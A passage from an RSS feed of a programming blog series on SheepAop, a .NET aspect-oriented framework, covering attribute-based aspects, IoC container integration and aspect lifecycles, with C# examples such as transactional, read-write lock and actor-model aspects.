<p>With AOP, you can delay making design decisions for future requirements because you can implement those extensibility points unobtrusively using aspects. You can focus on the current requirement of the system.<br />
In this respect, AOP works in harmony with YAGNI (You aren&#8217;t gonna need it). Implementing a feature just because you may need it in the future often results in wasted effort because you won&#8217;t actually need it. With AOP, you can stick faithfully to your current requirement, and if you do need a particular kind of functionality later, you can implement it without having to make system-wide modifications</p>
<h1>Attribute-based Aspects (ala Postsharp)</h1>
<p><em>(Since this question gets asked quite a lot, I will post this section again in a separate post as a handy reference)</em></p>
<p>SheepAop is not specifically built to support attribute-based declarative approach used in Postsharp. But using the rich pointcut expressions and aspect inheritance in SheepAop, it&#8217;s quite trivial to implement our own implementation. We just simply need to write this simple abstract aspect to deliver the same attribute-based functionality.</p>
<p><pre class="brush: csharp;">
[Aspect]
[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property)]
public abstract class AroundMemberAttribute: Attribute
{
   [SelectMethods(&quot;HasCustomAttributeType:ThisAspect&quot;)]
   [SelectPropertyGets(&quot;HasCustomAttributeType:ThisAspect&quot;)]
   [SelectPropertySets(&quot;HasCustomAttributeType:ThisAspect&quot;)]
   protected void DecoratedPointcut(){}

   [Around(&quot;DecoratedPointcut&quot;)]
   public abstract object Around(JointPoint jp);
}
</pre></p>
<p>This aspect simply defines a pointcut that matches all methods and properties that are decorated using the concrete type of this aspect. So now we can use this base attribute to create our <em>TransactionalAttribute</em> as an example.</p>
<p><pre class="brush: csharp;">
[Aspect]
public class TransactionalAttribute: AroundMemberAttribute
{
   public override object Around(JointPoint jp)
   {
      using(var tx = new TransactionScope())
      {
         var result = jp.Execute();
         tx.Complete();
         return result;
      }
   }
}
</pre></p>
<p>That is all it. Now you can use this attribute to decorate methods and properties that you want to make transactional. For instance:</p>
<p><pre class="brush: csharp;">
[Aspect]
public class OrderService: IOrderService
{
   [Transactional]
   public void ProvisionOrder(Order order)
   {
      // .... whatever ...
   }
}
</pre></p>
<p>For your convenience, the base-aspect <em>AroundMemberAttribute</em> is included straight out-of-the-box within SheepAop, so you don&#8217;t have to write it every time. Another variation of the base attribute is called <em>AroundCallAttribute</em>. They both have equivalent functionality, but whereas <em>AroundMemberAttributes</em> targets the bodies of methods and properties decorated with the attribute, <em>AroundCallAttribute</em> targets the calling of methods, getting/setting properties, and reading/writing fields decorated with the attribute.</p>
<h1>Summary</h1>
<p>Inheritance is a key component in making reusable aspects in SheepAop. Since SheepAop aspects are just normal POCO classes, you can make use of the same Object-Oriented techniques such as inheritance and polymorphism that we&#8217;re all familiar with. The same techniques are also used to implement the declarative attribute-based aspects that gives a lot of convenience for many simple cases.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1290/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1290/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1290/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1290&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAOP Part 4: Integrating with IoC containers</title>
		<link>http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/#comments</comments>
		<pubDate>Tue, 31 May 2011 05:02:07 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Inversion of Control]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1282</guid>
		<description><![CDATA[This Series Getting Started with SheepAOP Pointcuts and SAQL Basics Aspects Lifecycles &#38; Instantiations Integrating with IoC containers Aspects Inheritance &#38; Polymorphism Attributive Aspects (ala PostSharp) Unit-testing your aspects Extending SheepAop Aspect Factory In the previous post, we have discussed at great length about various SheepAop lifecycles and how they affect the specific points at [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1282&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>This Series</h1>
<ol>
<li><a title="Part 1" href="http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/">Getting Started with SheepAOP</a></li>
<li><a title="Part 2" href="http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/">Pointcuts and SAQL Basics</a></li>
<li><a href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/">Aspects Lifecycles &amp; Instantiations</a></li>
<li><strong>Integrating with IoC containers</strong></li>
<li><a title="SheepAop Part 5: Aspects Inheritance And Polymorphism" href="http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/">Aspects Inheritance &amp; Polymorphism</a></li>
<li>Attributive Aspects (ala PostSharp)</li>
<li>Unit-testing your aspects</li>
<li>Extending SheepAop</li>
</ol>
<h1>Aspect Factory</h1>
<p>In the <a href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/">previous post</a>, we have discussed at great length about various SheepAop lifecycles and how they affect the specific points at which SheepAop should instantiate new aspect objects. Whenever your lifecycle strategy determines that a new aspect needs to be created, by default SheepAop will look for a default parameterless constructor in your aspect class.</p>
<p>SheepAop lets you to can change this behavior and use your own IoC container to manage the instantiations of your aspects and wire up their dependencies. This is done by implementing your own custom AspectFactory. For example, the following code will hook SheepAop with StructureMap.</p>
<p><pre class="brush: csharp;">
public class StructureMapAspectFactory: AspectFactory
{
   private readonly Container _container;
   public StructureMapAspectFactory(Container container)
   {
      _container = container;
   }

   public override object CreateInstance(Type type)
   {
      return _container.GetInstance(type);
}
}
</pre></p>
<p>And you add the following code to the entry point of your program (i.e. Global.asax in a web application)</p>
<p><pre class="brush: csharp;">
AspectFactory.Current = new StructureMapAspectFactory(container);
</pre></p>
<p>All pretty straightforward. Now if you take the example aspect class from few posts back&#8230;</p>
<p><pre class="brush: csharp;">
[Aspect]
public class PurchasingNotificationAspect
{
   private readonly INotificationService _notifier;
   public PurchasingNotificationAspect(INotificationService notifier)
   {
      _notifier = notifier;
   }

   [SelectPropertySets(&quot;Name:'StockQty' &amp; InType:Name:'Product'&quot;)]
   public static void SettingProduct(){}

   [Around(&quot;SettingProduct&quot;)]
   public void CheckStockForNotification(PropertySetJoinPoint jp)
   {
      jp.Proceed();
      if ((int)jp.Value &lt; 5)
      {
         _notifier.Send(Notice.Restock, (Product)jp.This);
      }
   }
}
</pre></p>
<p>&#8230; StructureMap will now handle the instantiations of this aspect class, including the wiring of the INotificationService dependency via the constructor.</p>
<p><em>I highly recommend to always register all your aspect classes using transient configuration on your IoC container, and to leave it to SheepAop to handle the lifecycle management of the instances.</em></p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/inversion-of-control/'>Inversion of Control</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1282&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAOP Part 3 &#8211; Aspect Lifecycles</title>
		<link>http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/#comments</comments>
		<pubDate>Tue, 17 May 2011 08:23:02 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1199</guid>
		<description><![CDATA[This Series Getting Started with SheepAOP Pointcuts and SAQL Basics Aspects Lifecycles &#38; Instantiations Integrating with IoC containers Aspects Inheritance &#38; Polymorphism Attributive Aspects (ala PostSharp) Unit-testing your aspects Extending SheepAop This Post In this post, I will introduce you with the notion of aspect-lifecycle in SheepAop, a feature that I have claimed more than [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1199&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>This Series</h1>
<ol>
<li><a title="Part 1" href="http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/">Getting Started with SheepAOP</a></li>
<li><a title="Part 2" href="http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/">Pointcuts and SAQL Basics</a></li>
<li><strong>Aspects Lifecycles &amp; Instantiations</strong></li>
<li><a href="http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/">Integrating with IoC containers</a></li>
<li><a title="Aspects Inheritance &amp; Polymorphism" href="http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/">Aspects Inheritance &amp; Polymorphism</a></li>
<li>Attributive Aspects (ala PostSharp)</li>
<li>Unit-testing your aspects</li>
<li>Extending SheepAop</li>
</ol>
<h1>This Post</h1>
<p>In this post, I will introduce you with the notion of aspect-lifecycle in SheepAop, a feature that I have claimed more than once to be among the utmost importance in an AOP framework for taking AOP&#8217;s real-world use beyond the highly clichéd logging and transaction toy-demo. Aspect-lifecycles offer some elegant answers to a whole array of real-world problems that are not normally solvable using conventional AOP solutions.</p>
<p>This post will take you through a generous amount of those examples to demonstrate some real-world applications of AOP in general, and of aspect-lifecycles in particular. No more Logging, Transaction, or SecurityAuthorization demo, I believe we&#8217;ve had enough of that <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h1>Overview</h1>
<p>By default, SheepAop uses Singleton lifecycle, which means that only one instance of an aspect type exists. This is the simplest form of aspect instance. The state of a Singleton aspect is effectively global. Usually this arrangement is well suited for stateless aspects, as well as aspects with an inherently global state, such as caching or resource-pool.</p>
<p>But in some situations, especially when you are creating reusable aspects, you want to associate the aspect&#8217;s state in a very specific manner (e.g. per individual object, or a particular class, or per scope of a control flow).<br />
The aspect-lifecycle mechanism in SheepAop offers various ways to control the lifecycles of aspect instances, and offers many interesting and powerful design choices.</p>
<p>There are several kinds of aspect lifecycles in SheepAop:</p>
<ul>
<li>Singleton (default)</li>
<li>Transient</li>
<li>Per object (PerThis and PerTarget*)</li>
<li>Per control-flow</li>
<li>Per type*</li>
</ul>
<p><em>*) Not yet supported</em><em></em></p>
<p>Note: It&#8217;s very trivial to implement your own aspect-lifecycle, e.g. WebRequestLifecycle, or WebSessionLifecycle. We&#8217;ll cover that on &#8220;Extending SheepAop&#8221; later in the series<em>.</em></p>
<h1>Singleton Lifecycle (Default)</h1>
<p>Singleton-lifeycle is in effect when you don&#8217;t specify any lifecycle in your aspect class declaration.</p>
<p><pre class="brush: csharp;">
[Aspect]
public class MyAspect
{
}
</pre></p>
<p>You can also declare it explicitly using SingletonAspect, which makes no difference whatsoever.</p>
<p><pre class="brush: csharp;">
[SingletonAspect]
public class MyAspect
{
}
</pre></p>
<p>Let&#8217;s write a simple toy program that creates 2 Account objects and calls their methods.</p>
<p><pre class="brush: csharp;">
public class MyProgram
{
   public static void Main()
   {
      var account1 = new SavingAccount(12345);
      var account2 = new SavingAccount(77777);

      account1.Credit(200);
      account1.Debit(100);

      account2.Credit(200);
      account2.Debit(100);
   }
}
</pre></p>
<p>And apply some aspect:</p>
<p><pre class="brush: csharp;">
[Aspect]
public class MyLoggingAspect
{
   var _logger = logger;
   public MyLoggingAspect(ILogger logger)
   {
      _logger = logger;
      _logger.Trace(&quot;&gt; Creating MySingletonAspect instance&quot;);
   }

   [SelectMethods(&quot;'void SavingAccount::*(System.Int32)'&quot;)]
   private void AccountPointcut();

   [Around(&quot;AccountPointcut&quot;)]
   pulbic void AroundAccountMethods(MethodJoinpoint jp)
   {
      _logger.Trace(&quot;&gt;&gt; Calling {0}({1}) on {2}&quot;, jp.Method, jp.Args[0], jp.This);
      jp.Execute();
   }
}
</pre></p>
<p>PS: The ILogger parameter on the constructor is injected by your IoC container. We&#8217;ll look into how to hook SheepAop with your IoC container in the next post or two.</p>
<p>The output is:<strong></strong></p>
<pre><strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Credit(200) on SavingAccoung{12345}
&gt;&gt; Calling Debit(100) on SavingAccoung{12345}
&gt;&gt; Calling Credit(200) on SavingAccoung{77777}
&gt;&gt; Calling Debit(100) on SavingAccoung{77777}</pre>
<p>Only one MySingleAspect instance will ever be created over the course of the program, which in this case also means that you will always append all log entries to only one <em>ILogger</em> instance.<br />
<em>(All previous examples in the series so far use Singleton lifecycle by default, so I won&#8217;t bother you with another example on Singleton aspects)</em>.</p>
<h1>Transient Lifecycle</h1>
<p>Transient lifecycle will create a new aspect instance for every time a join-point is hit.<br />
Let&#8217;s use the same toy program from the example above, and just slightly change the aspect declaration to the following:</p>
<p><pre class="brush: csharp;">
[TransientAspect]
public class MyLoggingAspect
{
   /* unchanged */
}
</pre></p>
<p>Now the output will become like the following:<strong></strong></p>
<pre><strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Credit(200) on SavingAccoung{12345}
<strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Debit(100) on SavingAccoung{12345}
<strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Credit(200) on SavingAccoung{77777}
<strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Debit(100) on SavingAccoung{77777}</pre>
<p>A new MyTransientAspect instance is created for every join-point hit, which will append a log entry to a potentially different ILogger instance each time.<br />
<em>There really are not many realistic scenarios where Transient lifecycle would be necessary, but it can be useful especially when you want to make use of the lifecycle-capability provided by your IoC container. More about IoC integration in the next post</em>.</p>
<h1>Per Object Lifecycles (PerThis and PerTarget)</h1>
<p>If an aspect A is defined <strong>AspectPerThis(Pointcut)</strong>, then one object of type A is created for every instance that is the executing object (i.e., &#8220;This&#8221;) at any of the join points picked out by the Pointcut.<br />
The advice defined in aspect A will run only at a join point where the currently executing object has been associated with an instance of A.</p>
<p>So if we modify our first toy (logging-aspect) example as follows:</p>
<p><pre class="brush: csharp;">
[PerThis(&quot;AccountPointcut&quot;)]
public class MyLoggingAspect
{
   /* unchanged */
}
</pre></p>
<p>.. the output will become:</p>
<pre><strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Credit(200) on SavingAccoung{12345}
&gt;&gt; Calling Debit(100) on SavingAccoung{12345}
<strong>&gt; Creating MyLoggingAspect instance</strong>
&gt;&gt; Calling Credit(200) on SavingAccoung{77777}
&gt;&gt; Calling Debit(100) on SavingAccoung{77777}</pre>
<p>Everytime the &#8220;AccountPointcut&#8221; hits a join point, SheepAop will look at the object bound to This (the current SavingAccount instance), and create a new aspect instance if there is not already a MyLoggingAspect in existence for that SavingAccount instance. The aspect instance is eligible for garbage collection at the same time as the object it is associated with.</p>
<p>The PerTarget model works in a very similar manner to PerThis. If an aspect A is defined <strong>AspectPerTarget(Pointcut)</strong>, then one object of type A is created for every object that is the Target object of the join points picked out by Pointcut. The advice defined in A will run only at a join point where the target object has been associated with an instance of A.<br />
Note: Target object is only applicable to join-points matched using call-pointcuts, not member-pointcuts. Therefore consequently only call-pointcuts can be used with PerTarget lifecycle.</p>
<h3 id="Example_ConcurrentObject"><span style="color:#008000;"><strong>Example: Concurrent Object</strong></span></h3>
<p>In this example, we will create an aspect to convert your non-thread-safe class into a thread-safe one by applying the read-write lock pattern, hence allowing concurrent access to the objects. This pattern requires one lock for each object instance. The per-object lifecycles provide a mechanism to associate a new aspect isntance with each execution (&#8216;This&#8217;) or &#8216;Target&#8217; object.</p>
<p>In the following example, we will use AspectPerThis lifecycle to associate each of your ShoppingCart objects with a new <em>ReadWriteLockAspect</em>.</p>
<p><pre class="brush: csharp;">
[AspectPerThis(&quot;Readings&quot;, &quot;Writings&quot;)]
public class ReadWriteLockAspect
{
   [SelectMethod(&quot;'* ShoppingCart::Get*(*)'&quot;)]
   [SelectPropertyGet(&quot;'* ShoppingCart::*'&quot;)]
   protected void Readings(){}

   [SelectMethod(&quot;'void ShoppingCart::*(*)'&quot;)]
   [SelectPropertySet(&quot;'void ShoppingCart::*(*)'&quot;)]
   protected void Writings(){}

   private ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();

   [Around(&quot;Readings&quot;)]
   public object LockRead(JoinPoint jp)
   {
      try
      {
         _lock.EnterReadLock();
         return jp.Execute();
      }
      finally()
      {
         _lock.ExitReadLock();
      }
   }

   [Around(&quot;Writings&quot;)]
   public void LockWrite(JoinPoint jp)
   {
      try
      {
         _lock.EnterWriteLock();
         jp.Execute();
      }
      finally()
      {
         _lock.ExitWriteLock();
      }
   }
}
</pre></p>
<p><em>Note: Ideally, given that the read/write lock pattern itself is reusable, you would define this aspect as abstract (with abstract pointcuts) so you can reuse the aspect. We will cover this in part 5 (&#8220;Aspect Inheritence&#8221;).</em></p>
<p>So now each of your ShoppingCart instance will be assigned with a ReadWriteLockAspect, which will lock and release read/write access to your object. We have just converted our ShoppingCart to be thread-safe without introducing any additional noise into your actual code.</p>
<h3><span style="color:#008000;"><strong>Examples: Timing-Out DbConnection Instances<br />
</strong></span></h3>
<p>In this example, we will write an aspect to limit the duration for which each DbConnection instance may keep its connection open. We&#8217;ll set a timer to forecfully close DbConnection instances that have been left open for over a certain period of time. Since the timer is associated with each connection object, we&#8217;ll need an aspect with per-object lifecycle (in this case, PerTarget).</p>
<p><pre class="brush: csharp;">
[AspectPerTarget(&quot;OpeningConnection&quot;)]
public class ConnectionTimeoutAspect
{
   [SelectCallMethods(&quot;'void System.Data.DbConnection::Open()'&quot;)]
   protected void OpeningConnection(){}

   [SelectCallMethods(&quot;'void System.Data.DbConnection::Close()'&quot;)]
   protected void ClosingConnection(){}

   private const int TIMEOUT = 1000;
   private Timer timer;

   [Around(&quot;OpeningConnection&quot;)]
   public void AroundOpeningConnection(JoinPoint jp)
   {
      timer = new Timer(_=&gt; ((DbConnection)jp.Target).Close(), null, 0, TIMEOUT);
   }

   [Around(&quot;ClosingConnection&quot;)]
   public void AroundClosingConnection(JoinPoint jp)
   {
      timer.Dispose();
   }
}
</pre></p>
<h3 id="Example_ActorModel"><span style="color:#008000;"><strong>Example: Actor Model</strong></span></h3>
<p>Ayende recently <a href="http://ayende.com/blog/4831/a-minimal-actor-framework" target="_blank">blogged </a>about his Actor implementation. In this example, we&#8217;ll look at how to reimplement the solution using aspect-oriented approach. The idea is to enable actor capability on an arbitrary POCO object without modifying its codes.<br />
The premise of an actor is that all non-read actions must be executed asynchronously (non-blocking), but these actions must be executed sequentially within each actor. Consider the following actions from Ayende&#8217;s example:</p>
<p><pre class="brush: csharp;">
connection1.Send(&quot;abc&quot;);
connection1.Send(&quot;def&quot;);
</pre></p>
<p>I care for &#8220;abc&#8221; to be sent before &#8220;def&#8221;, and for both to be sent before anything else is sent through connection1. But I do NOT care if I have anything else sent between &#8220;abc&#8221; and &#8220;def&#8221; (through different connections).<br />
Additionally, every read operation must be executed synchronously, while still maintaining the order of executions. (i.e. all read operations should execute after all previous queued actions have completed).</p>
<p>Since each actor object requires its own sequential tasks-queue, we need to associate an aspect with each actor instance. So let&#8217;s create an aspect with PerThis lifecycle to target our (synchronous) Connection class.</p>
<p><pre class="brush: csharp;">
[AspectPerThis(&quot;NonReadActions&quot;)]
public class ActorAspect
{
   [SelectTypes(&quot;'Sheep.MyConnection'&quot;]
   protected void TargetClass(){}

   [SelectMethods(&quot;Type:@TargetClass &amp; !ReturnsVoid&quot;]
   protected void ReadOperations(){}

   [SelectMethods(&quot;Type:@TargetClass &amp; !@ReadOperations&quot;]
   protected void NonReadActions(){}

   private readonly ConcurrentTaskQueue _queue = new ConcurrentTaskQueue();

   [Around(&quot;NonReadActions&quot;)]
   public void AroundActions(JoinPoint jp)
   {
      _queue.EnqueueToExecution(()=&gt; jp.Execute());
   }

   [Around(&quot;ReadOperations&quot;)]
   public object AroundReading(JoinPoint jp)
   {
     using(_queue.EnterLock())
     {
         _queue.WaitTillCompleted();
         return jp.Execute();
     }
   }
}
</pre></p>
<p><em>Note: Similar to the previous example, this aspect should ideally be defined as an abstract aspect so we can reuse the actor pattern whenever it&#8217;s needed.</em></p>
<p>All the synchronous methods in our Connection class have now been fully converted to work synchronously, and follow the actor-model behavior that we desire. It&#8217;s all done without cluttering the actual Connection class with the complex plumbing of Actor pattern. We extract the pattern out into an aspect, leaving your original class clean from irrelevant bits of technical complexities.</p>
<h3><span style="color:#008000;"><strong>Other Examples:</strong></span></h3>
<p>There are many other real world applications of PerThis and PerTarget lifecycles, including:</p>
<ul>
<li>Dirty-tracking (tracks all changes of fields and properties within an object)</li>
<li>Lazy-Load proxy</li>
<li>Cache the output of a costly method that is called multiple times on the same object, e.g. fileStream.ReadToEnd()</li>
</ul>
<h1>Per-Control-Flow Lifecycle</h1>
<p>If an aspect A is defined <strong>AspectPerFlow(Pointcut)</strong>, then one object of type A is created for each flow of control of the join points picked out by Pointcut as the flow of control is entered. The advice defined in A may run ONLY at any join point within that control flow. An instance of the aspect is created upon entry into each such control flow.</p>
<h3><span style="color:#008000;"><strong>Example: Context Passing</strong></span></h3>
<p>Consider you are developing a flight-booking application. As part of the booking process, the application will create flight itineraries objects.</p>
<p><pre class="brush: csharp;">
var itinerary = new Itinerary(flight);
</pre></p>
<p>The constructor also automatically sets the <em>CreatedDateTime</em> property of the Itinerary object with the current system time.</p>
<p>Today you are requested to allow the system to be used by a travel-agent company who bulk their booking transactions in an end-of-day basis. So we provide them with the following client-facing API:</p>
<p><pre class="brush: csharp;">
public void BookFlightFromTime(DateTime orderTime, Flight flight, Customer customer /* etc etc*/)
{
}
</pre></p>
<p>Note the first parameter &#8220;<em>orderTime</em>&#8220;. Being an end-of-day bulk operation, all Itinerary objects created within the scope of this method must have their<em> CreatedDateTime</em> properties assigned with the specified<em> orderTime</em>, rather than the current (end-of-day) system time.<br />
Typically this requires passing the <em>orderTime</em> from the client, down through every method call that eventually leads to Itinerary creations. All programmers are familiar with the inconvenience of adding a method argument to a number of methods just to pass this kind of context information.</p>
<p>Using SheepAop, this kind of context passing can be implemented in a modular way. The following code adds an Around advice that runs when an Itinerary object is instantiated within the control-flow of BookFlightFromTime method.</p>
<p><pre class="brush: csharp;">
[AspectPerFlow(&quot;BookFlightFromTimeMethod&quot;)]
public class OrderDateAspect
{
   [SelectMethod(&quot;void BookingClient::BookFlightFromTime(DateTime, *)&quot;)]
   protected void BookFlightFromTimeMethod(){}

   [SelectConstructor(&quot;InType: 'Sheep.Itinerary'&quot;)]
   protected void CreatingItenerary(){}

   private DateTime _orderTime;

   [Around(&quot;BookFlightFromTimeMethod&quot;)]
   public void BookFlightFromTimeMethod(MethodJoinPoint jp)
   {
      _orderTime = jp.Args[0];
   }

   [Around(&quot;CreatingItenerary&quot;)]
   public void AroundCreatingIntenerary(JoinPoint jp)
   {
      jp.CreatedDateTime = _orderTime;
   }
}
</pre></p>
<p>This aspect affects only a small number of methods, but note that the non-AOP implementation of this functionality might require editting many more methods, specifically, all the methods in the control-flow from the client to the Itenerary creation. This is one major characteristic of aspect-lifecycle control. While the aspect is short and affects only a modest number of benefits, the complexity the aspect saves is potentially much larger.<br />
<a id="smartTransaction" /></p>
<h3><span style="color:#008000;"><strong>Example: Transactional Methods: The Right Way<br />
</strong></span></h3>
<p>Transaction is one of the most cliche example in aspect-oriented-programming examples, and I&#8217;ve promised I would not mention the word today. But this one is not your typical transaction AOP demo.<br />
The typical implementations in most AOP demos are usually overly naive. To explain what I mean, let&#8217;s write a simple ordinary TransactionAspect (using default Singleton lifecycle)</p>
<p><pre class="brush: csharp;">
[Aspect]
public class TransactionAspect
{
   [SelectMethods(&quot;'* Sheep.ApplicationService.*::*(*)' &amp; Public&quot;)]
   private void TransactionalMethods(){}

   [Around(&quot;TransactionalMethods&quot;)]
   public object AroundTransactionalMethods(JoinPoint jp)
   {
      using(var tx = new Transaction())
      {
         var returnValue = jp.Execute();
         tx.Commit();
         return returnValue;
      }
   }
}
</pre></p>
<p>That was quite straightforward. But now consider if you have non-transactional operations within your methods, e.g. sending an email. You don&#8217;t want to send out the email if the transaction fails. Furthermore, if you apply automatic retries on your transaction aspect, you won&#8217;t want multiple duplicate emails sent out.<br />
It&#8217;s usually hard to solve this problem using other AOP solutions that do not support any notion of lifecycle control.</p>
<p>We will modify our TransactionAspect above to intercept all calls to non-transactional methods, and defer their executions until at the end of the transaction (upon successful completion of the transaction).</p>
<p><pre class="brush: csharp;">
[AspectPerFlow(&quot;TransactionalMethods&quot;)]
public class TransactionAspect
{
   [SelectMethods(&quot;'* Sheep.ApplicationService.*::*(*)' &amp; Public&quot;)]
   private void TransactionalMethods(){}

   [SelectMethods(&quot;HasCustomAttributeType: 'Sheep.NonTransactionalAttribute' &amp; ReturnsVoid&quot;)]
   private void NonTransactionalMethods(){}

   private Queue&lt;Action&gt; _nonTransactionalActions = new Queue&lt;Action&gt;();

   [Around(&quot;NonTransactionalMethods&quot;)]
   public void StealNonTransactionalMethods(JoinPoint jp)
   {
      _nonTransactionalActions.Add(()=&gt; jp.Execute());
   }

   [Around(&quot;TransactionalMethods&quot;)]
   public object AroundTransactionalMethods(JoinPoint jp)
   {
      using(var tx = new Transaction())
      {
         var returnValue = jp.Execute();
         tx.Commit();

        foreach(var action in _nonTransactionalActions)
           action();
        return returnValue;
     }
   }
}
</pre></p>
<p>Now all executions of non-transactional methods will be intercepted, and stored to a queue to be executed later when the transaction is completed.<br />
A non-AOP implementation of this solution is non-trivial. You would have to massively change the structure of your code to pull out all calls to non-transactional methods, move them to the end of the transaction, and somehow maintain the contexts that are required by those methods.</p>
<h1>Summary</h1>
<p>Aspect-lifecycle is a key feature in SheepAop that takes aspect-orientation from logging and transaction to a whole another class of far more complex real-world problems.<br />
